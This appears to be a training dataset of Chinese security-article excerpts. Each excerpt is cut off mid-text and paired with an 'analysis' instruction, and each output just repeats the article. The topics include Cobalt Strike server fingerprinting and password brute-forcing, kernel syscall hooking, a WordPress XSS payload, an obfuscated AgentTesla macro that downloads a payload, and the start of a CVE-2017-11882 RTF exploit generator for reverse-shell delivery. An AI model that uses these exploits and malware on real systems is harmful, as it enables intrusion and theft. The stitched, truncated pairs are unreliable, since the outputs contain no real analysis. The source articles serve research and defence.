Server，如果返回51966（\x00\x00\xco\xfe）则证明密码正确。
查看服务端的代码认证逻辑(ssl.SecureServerSocket.java)，发现在密码正确后返回51966(\x00\x00\xca\xfe)，密码错误返回0（\x00\x00\x00\x00）。
通过Wireshark抓包如图所示，可以看到客户端发送的密码及填充字符串。
通过以上代码逻辑，可以找到一个识别Cobalt Strike Team Server的方法，流程图及部分代码如下图所示：
为了利用该特征获取更多资产，我们希望把Cobalt Strike 中被控制的IP给提取出来，就是Cobalt Strike 登陆后的Session
Table提取出来，如图所示。
同样先看下代码，在通过密码验证后，会创建一个TeamQueue的实例。
通过查看该类的构造方法，发现在创建该实例的时候，同时启动了两个线程来对TeamQueue中请求和响应进行监控。
如图所示，TeamQueue类的call方法中会根据传入的参数实例化一个Request对象,并添加进队列，之后TeamQueue
Writer线程从队列获取请求对象，使用socket进行发送。
TeamQueue Reader时刻监听着来自Team Server的响应。
以上就是Cobalt
Strike客户端发包和接收响应的大致逻辑。在创建TeamQueue实例后开始调用call方法来发送不同阶段的请求。我们进一步抓包分析。如图所示
结合抓包和查看代码发现客户端与服务端交互的流程如下图所示。
在客户端发送aggressor.ready请求后，表示一切准备就绪，开始和服务端进行数据同步，这其中就有session
table的数据。根据以上的逻辑，然后手动代码实现这几个请求，就能够在识别出Cobalt
Strike后进一步爆破密码，在爆破出密码后提取出目标的受控IP。如图所示。
最终的扫描流程图见附录。
## 扫描结果分析
网络空间测绘始于扫描，不止于扫描。在找到该特征后，我们开始在互联网中进行挖掘。
使用搜索语句： response:”\x00\x00\xca\xfe” AND port: “50050”，可以找到存在弱口令的Cobalt
Strike，我们只对部分主机进行了受控IP的提取，这步骤稍微敏感，大家可以自行操作。
随机登录一台如图：
通过搜索语法 response:”\x00\x00\x00\x00” AND port: “50050” AND service: “http/ssl”
可以找到没有爆破出密码的Cobalt Strike，可以看到共有5173条扫描记录，1049个IP。
## 部分IoC
## 结论
网络空间测绘，始于资产，但不止于资产。
我们认为，主动测绘数据将会与终端行为样本数据、网络流量通信数据一样，是未来网络安全大数据&&威胁情报数据的重要源头。主动测绘数据和基于测绘数据分析后形成的知识将能够极大补充我们的视野，从而开拓出更多的攻击面和领域。
更多网络空间测绘领域研究内容，敬请期待~
## 附录
## 文末福利
360Quake首次推出用户激励计划“当红蓝对抗遇上空间测绘”。
**添加微信：quake_360 邀您入群！**


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 「驭龙」Linux执行命令监控驱动实现解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
传送门：[「驭龙」开源主机入侵检测系统了解一下](https://www.anquanke.com/post/id/103408)
本文是「驭龙」系列的第三篇文章，对照代码解析了驭龙在Linux执行命令监控驱动这块的实现方式。在正式宣布驭龙项目[开源](http://mp.weixin.qq.com/s?__biz=MzI4MzI4MDg1NA==&mid=2247483947&idx=1&sn=7a578936c9345111da3d7da4fe17d37f&chksm=eb8c5692dcfbdf84443814d747dbdcf0938c71afa7084a92fabac30361eec090b72e1b5d1d95&scene=21#wechat_redirect)之前，YSRC已经发了一篇关于驭龙[EventLog
读取模块迭代历程](http://mp.weixin.qq.com/s?__biz=MzI4MzI4MDg1NA==&mid=2247483910&idx=1&sn=9ed36865a591a4411ecf862370cf740c&chksm=eb8c56bfdcfbdfa993ac2fb4700e770accb5fda530ede2ccf0ab5d946e1c6e8a16444052b863&scene=21#wechat_redirect)的文章。
## 0x00 背景介绍
Linux上的HIDS需要实时对执行的命令进行监控，分析异常或入侵行为，有助于安全事件的发现和预防。为了获取执行命令，大致有如下方法：
  1. 遍历/proc目录，无法捕获瞬间结束的进程。
  2. Linux kprobes调试技术，并非所有Linux都有此特性，需要编译内核时配置。
  3. 修改glic库中的execve函数，但是可通过int0x80绕过glic库，这个之前360 A-TEAM一篇[文章](http://mp.weixin.qq.com/s?__biz=MzUzODQ0ODkyNA==&mid=2247483854&idx=2&sn=815883b02ab0000956959f78c3f31e2b&scene=21#wechat_redirect "文章")有写到过。
  4. 修改sys_call_table，通过LKM(loadable kernel module)实时安装和卸载监控模块，但是内核模块需要适配内核版本。
综合上面方案的优缺点，我们选择修改sys_call_table中的execve系统调用，虽然要适配内核版本，但是能100%监控执行的命令。
## 0x01 总体架构
首先sys_execve监控模块，需要替换原有的execve系统调用。在执行命令时，首先会进入监控函数，将日志通过NetLink发送到用户态分析程序（如想在此处进行命令拦截，修改代码后也是可以实现的），然后继续执行系统原生的execve函数。
## 0x02 获取sys_call_table地址
获取sys_call_table的数组地址，可以通过/boot目录下的System.map文件中查找。
命令如下：
    cat /boot/System.map-`uname-r` | grep sys_call_table
这种方式比较麻烦，在每次insmod内核模块的时候，需要将获取到的地址通过内核模块传参的方式传入。而且System.map并不是每个系统都有的，删除System.map对于系统运行无影响。
我们通过假设加偏移的方法获取到sys_call_table地址，首先假设sys_call_tale地址为sys_close，然后判断sys_call_table[__NR_close]是否等于sys_close，如果不等于则将刚才的sys_call_table偏移sizeof(void
*)这么多字节，直到满足之前的判断条件，则说明找到正确的sys_call_table的地址了。
代码如下：
    unsigned long **find_sys_call_table(void) {
        unsigned long ptr;
        unsigned long *p;
        pr_err("Start foundsys_call_table.n");
            for (ptr = (unsignedlong)sys_close;
             ptr < (unsignedlong)&loops_per_jiffy;
       ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 写在翻译稿前面
最近，笔者在研究一些与WordPress漏洞相关内容。Sucuri、RISP等安全公司对WordPress有着一系列的深入研究，因此笔者计划陆续将一些有意思文章翻译出来，与大家共同学习下，祝君多挖漏洞。
这篇文章是来自Sucuri安全公司的Marc-Alexandre Montpas，他对于WordPress
5.2.3安全更新进行了diff后，对更新的内容提出了自己的见解。文章中虽然没有给出明确的利用，但是针对安全补丁分析与逆推的思路，却很好玩。
正如作者本人说的
**“Reversing security patches is an interesting challenge”**
下面翻译稿正文开始
# 前言
上周，[WordPress发布了5.2.3版本](https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/)，此版本是一个安全维护更新版本，因此包含许多安全修复程序。我们日常工作的一部分是分析这些安全版本，发现它正在修复的安全问题，并为进一步的内测制作poc。
基于我们的分析，此版本并没有高危漏洞被修复。已修复的漏洞都需要某种程度的限制，像是需要用户交互或拥有高权限帐户。在某些情况下，这些漏洞这只能由目标主动触发，在这种情况下，为了成功利用它们，需要进行一些细致的社会工程学工作。
尽管如此，您还是应该及时更新您的站点以保护自己免受这些攻击。
本文提供了更多关于WordPress 5.2.3版本修复漏洞过程中的有趣细节。
# 技术分析
## 在Post Preview中存在存储型XSS漏洞
WordPress似乎有一段旧代码，它最初旨在通过将UTF-8 URL编码为HTML实体来解决 _“JavaScript bug with foreign
languages_ ”问题。
<https://core.trac.wordpress.org/changeset/45935>
事实证明，它可能使具有某种权限的攻击者（如contributors投稿者）将XSS存储在陷阱帖中。要使该攻击起作用，需要具有更高权限的另一个用户（如管理员）预览该帖子。
利用此漏洞的一种可行方法是：恶意的contributors身份用户在其帖子中添加锚标签指向：
**％u003A** 部分将被回调函数解码，从而导致代码变为
这将被解析为JavaScript，并在单击该锚链接后启动弹框。
## 在评论中存在存储型XSS漏洞
更新日志中提到以下内容：
**“第二个是存储评论中的跨站点脚本漏洞。”**
从技术角度来看，这条线是模棱两可的。可以通过两种不同的方式来理解：
  1. 被修复的issue是影响 WordPress 评论系统存储的XSS漏洞
  2. 可以通过使用存储在网站上的评论来利用此漏洞，这意味着需要执行更多步骤才能成功进行攻击。
初步分析显示，这可能是后者，并且需要使用攻击者的评论，使得站点管理员执行一些非常具体的步骤。如果这是唯一可以利用此漏洞的情况，我们 _高度_
怀疑是否会在实战中看到尝试利用此漏洞的案例。
<https://core.trac.wordpress.org/changeset/45990/>
在更改中可见， **wp_rel_nofollow_callback**** 函数 **被用来调用**
shortcode_parse_atts函数从而分析**HTML标签属性。虽然此用例接近其设计目的，但是短代码提供了常规HTML标签所没有的一些功能，如：[支持类似C的转义序列](https://en.wikipedia.org/wiki/Escape_sequences_in_C)。
这是一个大问题，因为如果检测到 **rel**
属性，解码值将重新追加到最终注释中。不幸的是，对于攻击者来说，普通游客不可能直接在评论中添加该属性，因为[wp_kses](https://codex.wordpress.org/Function_Reference/wp_kses)并没有明确该属性，因此需要执行多个步骤。
攻击流程如下：
  1. 攻击者发布恶意评论，其中包含以下内容的锚点： **href =“javascript \ x3aalert（1）;”** 。
  2. 该 **wp_rel_nofollow_callback** 自动添加一个 **rel=” nofollow”** 属性的标签。
  3. 管理员需要在管理仪表板上打开注释编辑视图，并不修改任何内容的情况下重新保存该注释。这将强制脚本解码该标记所有属性中的转义序列。然后 **href** 属性将包含 **javascript：alert（...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

### 译者注
本文翻译自Fireeye <https://www.fireeye.com/blog/threat-research/2018/11/obfuscated-command-line-detection-using-machine-learning.html>
译者力求贴近文章原意，即使经过了逐句逐词地翻译校对，仍需在此做一些说明以便于读者对本文的学习与理解:
obfuscation detector "混淆检测器" 文中指识别混淆过的命令行的程序
Malicious actors 恶意的行动者，指黑客
living off the land "不落地" 指恶意软件不在磁盘存储
machine learning (ML) 机器学习
Pattern Matching 模式匹配
Neural Networks 神经网络
Convolutional Neural Network (CNN) 卷积神经网络
natural language processing 自然语言处理
Gradient Boosted Decision Tree 梯度增强的决策树
caret 即符号^
pipe symbols 管道符号 即|
discriminator 鉴别器
classifier 分类器
Gradient Boosted Tree,GBT 梯度增强树
#### 机器学习效果的常用评测指标
F1值( F1-score)综合指标
准确率(Precision)，简单说就是找得对
召回率(Recall)，简单说就是找得全
### 前言
这篇博客文章介绍了一种机器学习（ML）方法，用于解决新出现的安全问题：在终端上检测混淆的Windows命令行调用。
我们首先介绍这种相对较新的威胁，然后讨论处理这些问题的传统办法。再说明解决此问题的机器学习方法，并指出ML如何极大地简化了强大的混淆检测器的开发和维护。最后，我们展示了使用2种不同的ML技术获得的结果，并比较了每种技术的优点。
### 介绍
恶意的行动者逐渐变得“不落地”，使用PowerShell和Windows Command
Processor(cmd.exe)等系统内置的实用程序作为其感染工作流程的一部分，以尽量减少恶意软件被检测的机会，并绕过白名单防御策略。
新发布的混淆工具通过添加一个中接层(在可见的语法和命令的最终的行为之间)，使得检测这类威胁变得更加困难。例如最近发布的两个混淆命令的工具：
Invoke-Obfuscation 自动混淆Powershell命令
Invoke-DOSfuscation 混淆Windows的cmd.exe命令行
(用于检测混淆的)传统的"模式匹配"和"基于规则的方法"难以开发和归纳，并且可能对防御者造成巨大的维护问题。我们将展示如何使用ML技术来解决这个问题。
"检测混淆过的命令行"是一种非常有用的技术，因为它为可能的恶意活动提供了强大的过滤器，减少了防御者必须查看的数据。虽然在野外有一些“合法”混淆的例子，但在绝大多数情况下，混淆的存在通常是一种恶意意图的信号。
### 背景
混淆技术被用来隐藏恶意软件的存在，已经有很长的历史了：包括恶意有效载荷的加密（从Cascade病毒开始）和字符串的混淆，到JavaScript混淆。
混淆的目的有两个：
  * 使防御类的软件越来越难找到：易于检测它们(可执行代码、字符串或脚本)的模式。
  * 使逆向工程师和分析师更难以破译并完全理解恶意软件正在做什么。
从这个意义上讲，命令行混淆不是一个新问题 - 只是混淆的目标(Windows命令处理器 cmd.exe)相对较新。最近发布的等工具如Invoke-Obfuscation（用于PowerShell）和Invoke-DOSfuscation（用于cmd.exe）已经证明了这些命令的灵活性，并且经过混淆的非常复杂的命令仍然可以有效运行。
如图所示，混淆过的命令行 与 非混淆的命令行，空间图中有两个轴：
  * 简单的(simple) -> 复杂的(complex)
  * 明文的(clear) -> 混淆的(obfuscated)
对于本次讨论中：
  * "简单的"("simple")表示简短且相对不太复杂，但仍然可以包含混淆；
  * "复杂的"("complex")表示长而复杂的字符串(可能会混淆，也可能不被混淆)
因此，简单/复杂 轴 与 混淆/未混淆 轴
正交。这两个轴的相互作用产生许多边界情况，其中用于检测脚本是否被混淆的简单启发式方法（例如，命令的长度）会在未经混淆处理的样本上产生误报。
从ML的角度来看，命令行处理器(command line processor)的灵活性使"分类"成为一项困难的任务。
> 图1:混淆...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 【技术分享】针对.NET恶意软件AgentTesla一个新变种的深度分析
|
##### 译文声明
本文是翻译文章，文章来源：blog.fortinet.com
原文地址：<http://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[eridanus96](http://bobao.360.cn/member/contribute?uid=2857535356)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**背景**
FortiGuard实验室近期捕获到了一些使用微软.Net框架开发的恶意软件，我们对其中比较典型的一个进行了分析。该恶意软件是AgentTesla家族的一个变种，通过含有能自动执行的恶意VBA宏的Word文档实现传播。本文将全面分析这一恶意软件是如何从用户机器中窃取信息的。下图是打开包含恶意代码的Word文档时的界面。
**对VBA代码的分析
**
单击“Enable
Content”（启用内容）按钮后，会在后台偷偷执行恶意VBA宏。代码首先将一些键值写入设备的系统注册表中，以避免在下次打开带有不安全内容的Word文档时再出现宏安全警告。以下是写入注册表中的内容：
    HKCUSoftwareMicrosoftOffice{word version}WordSecurity,AccessVBOM, dword, 1 HKCUSoftwareMicrosoftOffice{word version}WordSecurity,VBAWarning, dword, 1
写入完成后，它会在一个新的Word进程中重新打开Word文档。这时，宏会再次执行，但这一次它执行的是不同的代码部分。在重新启动的Word程序中执行的宏，主要目的是动态获取一个新的VBA函数（ljRIpdKkSmQPMbnLdh）并得到它的调用。
该函数如下：
    Sub ljRIpdKkSmQPMbnLdh()
        Dim dmvAQJch As String
        Dim JWyaIoTHtZaFG As String
        Dim TrbaApjsFydVkOGwjnzkpOB As String
        dmvAQJch = CreateObject(ThisDocument.bQYHDG("66627281787F833D6277747B7B", 15)).ExpandEnvironmentStrings(ThisDocument.bQYHDG("3463747C7F34", 15))
        JWyaIoTHtZaFG = ThisDocument.bQYHDG("6B", 15)
        TrbaApjsFydVkOGwjnzkpOB = ThisDocument.bQYHDG("797085823D748774", 15)
        dmvAQJch = dmvAQJch + JWyaIoTHtZaFG + TrbaApjsFydVkOGwjnzkpOB
        Dim cllbWRRTqqWoZebEpYdGmnPBLAx As String
        cllbWRRTqqWoZebEpYdGmnPBLAx = ThisDocument.bQYHDG("7783837F493E3E43443D46463D42443D4142483E403E837E7370883D748774", 15)
        Dim OhYBGFWMcPWNnpvvuTeitVAK As Object
        Set OhYBGFWMcPWNnpvvuTeitVAK = CreateObject(ThisDocument.bQYHDG("5C7872817E827E75833D675C5B5763635F", 15))
        OhYBGFWMcPWNnpvvuTeitVAK.Open ThisDocument.bQYHDG("565463", 15), cllbWRRTqqWoZebEpYdGmnPBLAx, False
        OhYBGFWMcPWNnpvvuTeitVAK.send
        If OhYBGFWMcPWNnpvvuTeitVAK.Status = 200 Then
            Dim BIPvJqwtceisuIuipCzbpsWRuhRwp As Object
     ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# 我们一起分析一下这个刚刚修复的RDP漏洞CVE-2019-0708

##### 译文声明
本文是翻译文章，文章原作者 mcafee，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
在微软今年五月份的漏洞更新安全公告中，提到了一个跟远程桌面协议（RDP）有关的漏洞。我们之所以要在这里专门针对这个漏洞进行分析，是因为这个漏洞更新涉及到Windows
XP以及其他多个Windows操作系统，而众所周知，Windows
XP已经很多年没有过更新了。那么为什么微软这一次要修复这个高危漏洞呢？别着急，我们现在一起来看一看！
根据微软发布的安全公告，这是一个非常严证的安全漏洞，它将导致攻击者在目标设备上实现远程代码执行，并植入蠕虫等恶意软件。这也就意味着，一旦目标组织的其中一台设备受到了感染，整个网络系统内其他未受安全保护的计算机设备也将“无一幸免”。在这份安全公告中，微软提到了著名的网络蠕虫“WannaCry”。在2017年三月份，微软修复了针对该恶意软件的相关漏洞（MS17-010），但是在此之前，很多攻击者都在使用“WannaCry”进行网络攻击。
鉴于该漏洞的安全威胁等级（高危漏洞），攻击者很有可能会在这段时间内开发出相应的漏洞利用工具，McAfee高级威胁研究团队也对该漏洞以及相关的威胁场景进行了深度分析，我们建议广大用户尽快修复漏洞CVE-2019-0708。
## 受影响的操作系统
`Windows 2003
Windows XP
Windows 7
Windows Server 2008
Windows Server 2008 R2`
## RDP协议
远程桌面协议（RDP, Remote Desktop Protocol）是一个多通道（multi-channel）的协议可以帮助用户（客户端或称“本地电脑”）与提供微软终端机服务的电脑（服务器端或称“远程电脑”）建立通信连接。目前，市场上大部分的Windows都安装了远程桌面协议。其他操作系统也有相关的客户端软件，例如Linux、FreeBSD和Mac
OS X等等。
该协议是对国际电信联盟发布的一个国际标准的多通道会议协议T.120
的一个扩展。RDP协议在终端服务推出后已有四个版本，即4.0、5.0、5.1、5.2。一般来说，版本是根据windows的版本确定的。从客户端的角度来说，5.X版本间提供的功能差别不是很大，相对于4.0版本，它提供了用户带密码直接登录、客户端驱动器资源映射、客户端音频回放、最高24位色显示和符合FIPS加密级别连接。另外，从4.0协议开始变提供的客户羰功能有：高、中、低三种数据加密级别，客户端自定义初始登录环境，客户端打印机映射，客户端LPT端口映射，客户端com端口映射，剪贴板映射，客户登录的个性化设置(包括键盘、显示界面大小等)。7.0版：这是最新的版本，仅支持Windows
Server 2008 R2 或 Windows 7及以上版本。
#  漏洞概览
蠕虫病毒可以在受感染的网络系统内进行自我复制和传播，并在受感染的远程主机上自动运行，而不需要用户任何的额外交互。如果一款恶意软件的主要攻击载体是网络的话，那么它就应该被归类为蠕虫。
远程桌面协议（RDP）定义了通信双方在虚拟信道间的数据通信方式，支持客户端建立点到点的连接。这种虚拟信道为双向数据通道，可以扩展RDP的功能。Windows
Server 2000在RDP
v5.1中定义了32种静态虚拟信道（SVC），但是由于其中涉及还到大量动态虚拟信道（DVC），因此可用的信道数量以及种类会受到一定限制。SVC是在会话开始时创建的，并在会话终止前保持不变，但DVC不同，因为它是根据用户需求来创建和删除的。
## 漏洞分析
漏洞CVE-2019-0708涉及到了RDP驱动器termdd.sys中的_IcaBindVirtualChannels
和_IcaRebindVirtualChannels。我们可以从下图中看到，系统初始化了RDP连接序列，并且会在安全机制启用前完成信道的建立，这就导致了漏洞CVE-2019-0708的可蠕虫化，因为它可以通过开放端口3389在目标网络系统内实现自我复制和传播。
先给大家简单介绍一下“MS_T120”这个静态虚拟信道，它的RDP信道编号...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

**作者： 知道创宇404区块链安全研究团队**
**发布时间： 2018/08/01**
**更新于 2018/08/20 :** 修正了原文中的一处错误，感谢
[@None](https://www.seebug.org/accounts/profile/354f9596)在评论区的指正。
## 0x00 前言
2010年，`Laszlo` 使用 `10000` 个比特币购买了两张价值25美元的披萨被认为是比特币在现实世界中的第一笔交易。
2017年，区块链技术随着数字货币的价格暴涨而站在风口之上。谁也不会想到，2010年的那两块披萨，能够在2017年末价值 `1.9亿美元`。
以太坊，作为区块链2.0时代的代表，通过智能合约平台，解决比特币拓展性不足的问题，在金融行业有了巨大的应用。
通过智能合约进行交易，不用管交易时间，不用管交易是否合法，只要能够符合智能合约的规则，就可以进行无限制的交易。
在巨大的经济利益下，总会有人走上另一条道路。
古人的盗亦有道，在虚拟货币领域也有着它独特的定义。只有对区块链技术足够了解，才能在这场盛宴中 `偷`
到足够多的金钱。他们似那黑暗中独行的狼，无论是否得手都会在被发现前抽身而去。
`2018/03/20`,在
[《以太坊生态缺陷导致的一起亿级代币盗窃大案》[19]](https://mp.weixin.qq.com/s/Kk2lsoQ1679Gda56Ec-zJg) 和 [《揭秘以太坊中潜伏多年的“偷渡”漏洞，全球黑客正在疯狂偷币》[20]](https://paper.seebug.org/547/)
两文揭秘 `以太坊偷渡漏洞（又称为以太坊黑色情人节事件）` 相关攻击细节后，知道创宇404团队根据已有信息进一步完善了相关蜜罐。
`2018/05/16`,知道创宇404区块链安全研究团队对 `偷渡漏洞` 事件进行预警并指出该端口已存在密集的扫描行为。
`2018/06/29`, `慢雾社区` 里预警了 `以太坊黑色情人节事件（即偷渡漏洞）`
新型攻击手法，该攻击手法在本文中亦称之为：`离线攻击`。在结合蜜罐数据复现该攻击手法的过程中，知道创宇404区块链安全研究团队发现：在真实场景中，还存在
`另外两种` 新型的攻击方式： `重放攻击` 和 `爆破攻击`，由于此类攻击方式出现在 `偷渡漏洞` 曝光后，我们将这些攻击手法统一称为
`后偷渡时代的盗币方式`。
本文将会在介绍相关知识点后，针对 `偷渡漏洞` 及 `后偷渡时代的盗币方式`，模拟复现盗币的实际流程，对攻击成功的关键点进行分析。
## 0x01 关键知识点
所谓磨刀不误砍柴功，只有清楚地掌握了关键知识点，才能在理解漏洞原理时游刃有余。在本节，笔者将会介绍以太坊发起一笔交易的签名流程及相关知识点。
### 1.1 RLP 编码
> RLP (递归长度前缀)提供了一种适用于任意二进制数据数组的编码，RLP已经成为以太坊中对对象进行序列化的主要编码方式。
`RLP` 编码会对字符串和列表进行序列化操作，具体的编码流程如下图：
在此，也以 `3.4.1节` 中 `eth_signTransaction` 接口返回的签名数据为例，解释该签名数据是如何经过 `tx` 编码后得到的。
    result 字段中的 raw 和 tx 如下：
    "raw": "f86b01832dc6c083030d4094d4f0ad3896f78e133f7841c3a6de11be0427ed89881bc16d674ec80000801ba0e2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663a004591ab78117f4e8b911d65ba6eb0ce34d117358a91119d8ddb058d003334ba4
    "
    "tx": {
            "nonce": "0x1",
            "gasPrice": "0x2dc6c0",
            "gas": "0x30d40",
            "to": "0xd4f0ad3896f78e133f7841c3a6de11be0427ed89",
            "value": "0x1bc16d674ec80000",
            "input": "0x",
            "v": "0x1b",
            "r": "0xe2e7162ae34fa7b2ca7c3434e120e8c07a7e94a38986776f06dcd865112a2663",
            "s": "0x4...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#### Author：[hflsafe](http://blog.hflsafe.cn/2017/11/22/office-vulnerability-cve-2017-11882/)
## 0x01 漏洞产生背景
2017年11月，微软在例行系统补丁发布中，修复了一个Office远程代码执行的严重漏洞，编号CVE-2017-11882。该漏洞类型为缓冲区溢出，位于EQNEDT32.EXE组件。受害用户打开恶意的office文档时，无需交互，就可能执行恶意代码。
据悉，这个组件是由Design Science
Inc.开发的，后来由微软收购。该组件于2001年编译嵌入office，之后没有任何进一步的修改。所以该漏洞已存在17年之久。影响现阶段流行的所有office版本。
## 0x02 当前环境
  * 攻击机: Parrot
  * 目标靶机: Windows 10x64
  * Office版本：Microsoft@ Word 2016 MSO (16.0.4266.1001)
## 0x03 攻击步骤
使用Cobalt Strike或者MSF生成反弹shell的hta恶意文件
然后使用脚本
    import argparse
    import sys
    from struct import pack
    head=r'''{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
    {\*\generator Riched20 6.3.9600}\viewkind4\uc1
    \pard\sa200\sl276\slmult1\f0\fs22\lang9{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata 01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff04000000fefffffffefffffffefffffffffffffffffffffffff...